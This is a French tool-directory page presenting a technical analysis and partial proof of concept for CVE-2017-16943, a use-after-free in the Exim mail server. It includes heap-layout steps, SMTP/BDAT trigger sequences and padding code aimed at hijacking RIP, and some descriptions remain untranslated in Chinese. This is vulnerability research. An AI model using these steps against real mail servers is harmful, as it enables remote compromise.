Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-16943 — Analyse technique et preuve de concept pour CVE-2017-16943, une use-after-free dans la fonction receive_msg d'Exim, démontrant la manipulation du tas et le détournement de RIP. | Kitploit
Outils/GitHubGitHub/beraphin/cve-2017-16943
Criminalistique MémoireAnalyse des VulnérabilitésExploitationDébogueursApprentissage et ÉducationExploitation de Binaires
GitHubberaphin/cve-2017-16943

CVE-2017-16943

Analyse technique et preuve de concept pour CVE-2017-16943, une use-after-free dans la fonction receive_msg d'Exim, démontrant la manipulation du tas et le détournement de RIP.

Voir le dépôt
23il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2017-16943

Configuration de l'environnement

git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

Modifiez les variables de chemin et le nom d'utilisateur dans le Makefile

cd ..
make -j8
sudo make install

Après l'installation, modifiez accept hosts = : en accept hosts = * dans le fichier de configuration. Exécutez :

exim -bdf -d-receive

Analyse de la vulnérabilité

Cette vulnérabilité est un Use-After-Free (UAF) qui se produit dans la fonction receive_msg du fichier receive.c. Cette fonction est utilisée pour recevoir les entrées du client. Voici l'enregistrement du correctif (patch) :

 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

Clarifions d'abord le rôle de quelques variables globales :

current_block: 当前的storeblock,下次使用store_get_3的时候优先从该storeblock寻找空闲区域
next_yield:指向current_block中空闲区块的起始地址,storeblock一般来说是上半部分被使用,下半部分空闲
yield_length:next_yield的长度

En analysant le POC de meh, on sait que le programme non patché peut déclencher le UAF via le processus de disposition de tas (heap layout) suivant :

Tout d'abord, dans la fonction receive_msg, faites en sorte que next->text devienne le tampon de départ d'un storeblock : 1

Ensuite, via la commande bdat, allouez un tampon en dessous de ce text. 2

Pourquoi utiliser la commande bdat ? En fait, auth plain ou des commandes illégales composées de caractères non visibles peuvent également allouer un tampon sous text, mais d'autres instructions provoquent la sortie de la fonction receive_msg. Lors de la prochaine entrée dans receive_msg, next->text pointera vers une autre zone, donc la vulnérabilité ne peut pas être déclenchée. La commande bdat ne fait pas sortir la fonction receive_msg actuelle, ce qui est très important.

Ensuite, envoyez continuellement des caractères pour remplir next_text (initialement 0x100), puis le programme atteint le point vulnérable. Dans store_extend, on découvre que la présence du tampon bdat empêche l'extension, donc store_get est exécuté pour obtenir la zone pointée par next_yield, puis la fonction store_release est appelée. Dans cette fonction, on vérifie seulement si le paramètre de release est le début d'un storeblock, mais on ne vérifie pas s'il y a d'autres tampons derrière, et le storeblock est libéré directement. Cela fait que l'adresse retournée par store_get se trouve toujours à l'intérieur de current_block, mais immédiatement après, current_block est libéré, provoquant un UAF.

Détournement de RIP

Ici, nous expliquons étape par étape comment détourner RIP en combinant le code POC.

ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

Tout d'abord, envoyez beaucoup de données dans le but de rendre yield_length inférieur à 0x130 mais supérieur à 0x30. Pourquoi cela ? Regardons le début de la fonction receive_msg :

...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

On peut voir qu'avant d'allouer next->text, deux tampons de taille sizeof(header_line) sont alloués, cette taille est 0x18. Donc, si après avoir alloué ces deux blocs de taille 0x18, la taille restante yield_length est inférieure à 0x100, alors lors de l'allocation de next->text, store_get allouera un nouveau storeblock, et next->text se trouvera au début de ce storeblock.

Ensuite, nous appelons la commande bdat :

r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

Cette commande contient un caractère non visible, ce qui déclenche un appel à store_get pour allouer un tampon afin de stocker un message d'erreur :

pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(Y compris les instructions illégales contenant un caractère non visible entraînent également une allocation de bloc supplémentaire.)

À ce moment-là, envoyez continuellement des caractères :

unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

Alors, les caractères reçus sont écrits octet par octet dans next->text. Lorsque la zone libre de 0x100 est remplie, le code vulnérable est exécuté pour étendre la taille de next->text. Tout d'abord, entrez dans store_extend(next->text, oldsize, header_size) pour tenter d'étendre directement la taille :

File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

Les jugements principaux se trouvent aux lignes 276-277. La première condition vérifie si le pointeur ptr à étendre est immédiatement suivi par next_yield. La deuxième condition vérifie si, en ajoutant la taille de next_yield (c'est-à-dire yield_length), c'est suffisant. Évidemment, la première condition n'est pas satisfaite, car next->text est suivi d'un tampon bdat, et ensuite de next_yield.

Télécharger l’outil